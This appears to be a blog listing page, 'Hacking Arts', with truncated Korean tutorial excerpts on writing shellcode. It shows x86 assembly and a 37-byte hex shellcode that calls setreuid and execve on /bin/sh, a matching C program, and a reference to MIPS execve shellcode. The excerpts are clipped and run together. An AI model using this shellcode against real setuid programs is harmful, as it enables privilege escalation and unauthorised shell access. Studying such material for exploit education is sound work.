Hacking Arts

Linux/MIPS - execve /bin/sh - 48 bytes https://www.exploit-db.com/exploits/18162/ 0x00400630 :sltia2,zero,-1 # a2 reg 초기화0x00400634 :luit7,0x2f2f# t7 reg에 2f2f0000으로

.globl main main : mov $0x31,%alint $0x80mov %eax,%ebxmov %eax,%ecxxor %eax,%eaxmov $0x46,%alint $0x80 push %eaxpush $0x68732F2Fpush $0x6E69622Fmov %esp,%ebxpush %eaxpush %ebxmov %esp,%ecxmov %eax,%edxmov $0xb,%alint $0x80-37byte assembly code \xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80-37byt..

#include int main(void){char *sh[2];sh[0]="/bin/sh";sh[1]=NULL;setreuid(geteuid(), geteuid());execve(sh[0], sh, 0);return 0;} -위 그림은 sh을 실행시키는 C코드다. .globl main main : push %ebpmov %esp,%ebp xor %eax,%eaxxor %ebx,%ebxxor %ecx,%ecxxor %edx,%edx mov $0x31,%alint $0x80mov %eax,%ebxmov %eax,%ecxxor %eax,%eaxmov $0x46,%alint $0x80 push %eaxpush $0x68732F2Fpush $0x6E69622Fmov %esp,%ebxpush %eaxpush %e..